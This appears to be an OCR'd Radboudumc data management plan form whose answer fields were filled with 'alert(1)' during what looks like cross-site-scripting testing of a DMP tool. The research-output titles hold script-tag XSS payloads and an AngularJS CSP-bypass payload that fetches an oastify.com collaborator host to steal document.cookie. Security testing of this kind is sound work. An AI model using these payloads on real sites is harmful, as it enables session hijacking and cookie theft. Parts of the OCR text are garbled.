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alert(1)

1. Project info

1.1 DMP version and date

alert(1)

1.2 Name of data management support staff consulted during the preparation of this plan and date of consultation.

alert(1)
1.3 Does the project consist of multiple (sub)projects?

e Yes (please specify which (sub)projects)

alert(1)

1.4 Project number(s)

alert(1)

1.5 Project leader (Pl); provide contact information (Name, email address, phone number)

alert(1)

1.6 Science department
(and if applicable, also add the research programme and research group(s) involved in the project)

alert(1)
1.7 Will non-human research (i.e. research NOT performed on human subject data) be performed in this project?

o Yes (please specify which (sub)project(s))

alert(1)

1.8 Will the research conducted in this project involve human participants ( WMO compliant / non-WMO)?
e Yes, non-WMO research (please specify which (sub)projects)
e Yes, WMO-compliant research (please specify which (sub)projects)

alert(1)

1.9 Is review of this DMP needed in order to obtain approval by the Executive Board (Local Feasibility procedure (‘Lokale
Uitvoerbaarheid))?

e Yes, WMO-compliant research for which Radboudumc is the sponsor

alert(1)

2. Planning and design

2.1 Will this research project involve collaboration with other parties? (E.g. in collecting, processing, analyzing and/or publishing the
data).

e Yes

alert(1)

2.2 If yes, which parties will be involved, and what will be their contribution with regard to collection, processing, analysis and/or
publishing of project(s) data?

alert(1)

2.3 If yes, describe which agreements (have been made / will have to be made) with these parties regarding data management and
intellectual property?
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alert(1)

2.4 Who are the persons involved in data management? Mention all persons that have access to the data, and in which role they will
participate.

alert(1)

2.5 For human-related research, describe the informed consent procedure. Will consent be obtained from the participants to collect and
process their data? Multiple options can be selected, specify the informed consent procedure for the applicable project(s).

e Yes (please specify)
e No (please explain)
alert(1)

2.6 If yes, will consent be obtained from the participants to share and re-use their data for future research, according to the FAIR
principles?

e Yes
e No (please explain)

alert(1)

3. Collect and Create

3.1 Will existing data be used for this project?

* Yes (specify which data sources)
alert(1)

3.2 Do restrictions apply to the use of these existing data? Describe how the use of these data will be arranged with the owners of the
data.

alert(1)

3.3 Will human patient data be used from Radboudumc's clinical archives, like Epic, GLIMS, PACS , Dentium, etc.?

e Yes, Epic data will be used (see next question for further details)

alert(1)

3.4 If Epic data is used, how will these data be obtained?

CTCue will be used to identify patients in Epic, based on (non-)structured data

CTCue will be used to obtain data from Epic, based on queries in (non-)structured data
The query tool Cliniquest will be used to obtain structured data from Epic

Data will be manually copied from Epic (please specify in 3.5)

Other methods will be used to obtain Epic data (please specify in 3.5)

Not applicable, no Epic data will be used

o o o o o o

alert(1)

3.5 If applicable, describe which other method will be used to obtain data from Epic, and how patient privacy is safeguarded:

alert(1)

3.6 How will privacy of the human participants be safeguarded?

e The data will be pseudonymized
e The data will be anonymized
e Other

alert(1)

3.7 How will pseudonymization/ anonymization/other be arranged?

e The data will be pseudonymized by using Participant Identity Management System (PIMS), Radboudumc’s pseudonymization and key management
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system.
e The data will be pseudonymized / anonymized by using a tool or system different from PIMS (explain in next question)

alert(1)

3.8 Please specify how pseudonymization or anonymization will take place. How is the subject ID composed, will identifying elements be
omitted, where (and/or in which system) will the Subject Identification Log be saved?

alert(1)

3.10 Describe the data that will be collected / created:
(optional: the data can be described per (sub)project, for instance workpackages or chapters)

alert(1)

3.11 Are study participants randomly allocated to groups? Select which option applies to the randomization (if any) of the participants.

* No randomization will take place.

alert(1)

4. Store and analyze

4.1 Where will the data be stored during the data collection (e.g. for combining, processing, and/or analyzing data)? Check the boxes for
both digital and paper data storage.

Data will be stored in a Data Acquisition Collection (DAC) and/or a Research Documentation Collection (RDC) in the Radboud Data Repository (RDR)
Data will be stored on a department server

Data will be stored on a department MS Sharepoint/Teams environment

Data from biomaterials are stored in Radboud Biobank's BIMS system

Data will be stored on another storage option

Data will be stored on cloud storage options, other than DRE

Data will be stored in a paper archive

e o o o o o o

alert(1)

4.2 Give a short description of all the options that will be used for data storage, during the data collection. Provide the locations for
digital and paper data.

alert(1)

4.3 How will data security be ensured during the data collection?

alert(1)

4.4 How often, where and by whom will backups be made of the data?

alert(1)

4.5 How will access to the data be arranged for all parties, internal and external (if applicable); which restrictions will be applied to data
access during the data collection?

alert(1)

4.6 Which software or tools will be needed to process or analyze the data?

R /R studio

SPSS

Microsoft Excel
Matlab

Atlas.ti

Python

Graphpad Prism

SAS

Stata

Git (for version control)
SQL

Other (please specify)

® © e o o 0 0 0 0 0 o o

alert(1)
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4.7 Will standard facilities, (like Zero Clients "werkplek 2.0", Fat clients provided by Radboudumc ICT or DRE), be sufficient to process and
analyze the data or will extra computing power and memory be required ?

e The Radboudumc standard facilities will suffice for processing and analyzing the data (virtual 'werkplek 2.0', standard fat clients, standard DRE work
space)

alert(1)

4.8 What will be the estimated costs for managing the data during the study, and how will these be covered?

alert(1)

4.9 How will you structure your data? Briefly elaborate on the naming conventions and the structure of the files and directories.

alert(1)

4.10 How will version control be applied, with clear version numbers, to maintain all changes that will be made to the data?

alert(1)

4.11 Which documentation will be added to the data to (further) describe the data collection?

o | will make use of a codebook, that describes all data items in the data collection
o | will document the research process (data cleanings, methodology of data collection, quality controls, statistics)
e | will include syntaxes that will be used to process and/or analyze the data
e | will include software (versions) that will be used to process and/or analyze the data
e | will link the data to one or more scientific publications
e | will add other documentation (please explain below)
alert(1)

5. Archive and share

5.1 Describe the data that will be archived for the predetermined legal retention period.

alert(1)

5.2 Where will the data (described in question 5.1) be archived for the predetermined legal retention period after the research? Provide
the locations for digital and paper data.

alert(1)

5.3 Will there be any issues that affect the sharing of (parts of) the data collection after the research? If so, briefly describe these issues.

e Yes, there are issues that affect the sharing of (parts of) the data after the publication of the results. (please specify)

alert(1)

5.4 Which (part of the) data will be made findable and shared for reuse and/or verification?
(See also the table from question 3.10 that describes the data collection)

alert(1)

5.5 How will the data be made findable and shared for reuse and/or verification? Select the options that apply, and provide further details
the comments field.

o Data will be published in a data repository or other online data archive (e.g. Radboud Data Repository, DANS Data Station, disciplinary repository, data
archive) (please specifiy)
o Data will be published on a location other than a data repository or online data archive (please specify)

alert(1)

5.6 Will restrictions be applied to access to (parts of) the data?

e Yes, restrictions will be applied to (parts) of the data (please specify, e.g. how restrictions will be applied, how will access to the data be arranged, who
will be made responsible for granting access to the data)

alert(1)
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5.7 Will a license be applied to the published data? If yes, what license?

alert(1)

5.8 In case of restricted access, what are the conditions for access to the data? If yes, how are these defined, e.g. in a consortium
agreement, data use agreement and/or other terms of use?

alert(1)

5.9 How will metadata be published to describe the data collection, and to enable findability of the data collection? And which metadata
will be shared, e.g. will standards be used?

e Dublin Core and DataCite Metadata about the data collection will be registered in RIS
¢ Metadata about the data collection will be published via the data repository/repositories (see above, please specify which metadata standard(s))

alert(1)

5.10 Will the dataset be made findable by means of linkage to a persistent identifier (PID) like a DOI, a Handle or other PID? Please
provide the PID here as soon as it is available!

alert(1)

5.11 Which documentation will be added to the published data collection to enable reuse? (see also 4.6 and 4.11 for examples of data
documentation)

alert(1)

5.12 What will be the estimated costs for data archiving and/or publication after the study, and how will these be covered?

alert(1)

5.13 Which (bio)medical or other discipline specific terminology (vocabularies, classifications, ontologies or other standards) will be used
within the data collection?

alert(1)

5.14 Which data formats will the data collection contain? See also 3.10, is there a need to migrate the data to (a) preferred data
format(s)?

alert(1)

5.15 If applicable, describe your strategy for publishing the analysis software that will be generated in this project.

alert(1)
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Planned Research Outputs

Dataset - "<script>alert(document.cookie)</script>"
<script>alert(document.cookie)</script>

Dataset - "foobar"
alert(document.cookie)

Book - "<script>alert(1l)</script>"
alert(document.cookie)

Collection - "<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script><div
ng-app ng-csp>{{$eval.constructor(‘fetch("https://f7n8xhimrf7rk51fobaqj2pwdnje75ytn.oastify.com/steal?
c="+document.cookie)')()} }</div>"
{{$eval.constructor('fetch(%22https%3a%2f%2frvaklt6yfrv38hprcny27ed81z7rvlja.oastify.com%2fsteal%3fc%3d%22%20document.cookie)')() } }

Planned research output details

May
. . May
. Release |Access . . File . Metadata | contain .
Title poi Type date level Repository(ies) size License standard(s)|sensitive co:lii_a,m
data? :
<scr|pt>a|ert(document.cook|e) Dataset |Unspecified|Open [None specified None_ ) Nong ) No No
</script> specified specified
foobar Dataset |Unspecified|Open [None specified 's\l;:fified gs:::eified No No
Creative
Commons
! . <script>alert(1) TN o Attribution |None
<script>alert(1)</script> </script> ... Book 2026-11-11|Open |None specified Share Alike |specified No No
4.0
International
Creative
<script Commons None
src="https://cdnjs.cloudflare.com/ajax/lib Collection[Unspecified|Open [None specified Attribution - No No
4.0 specified
International
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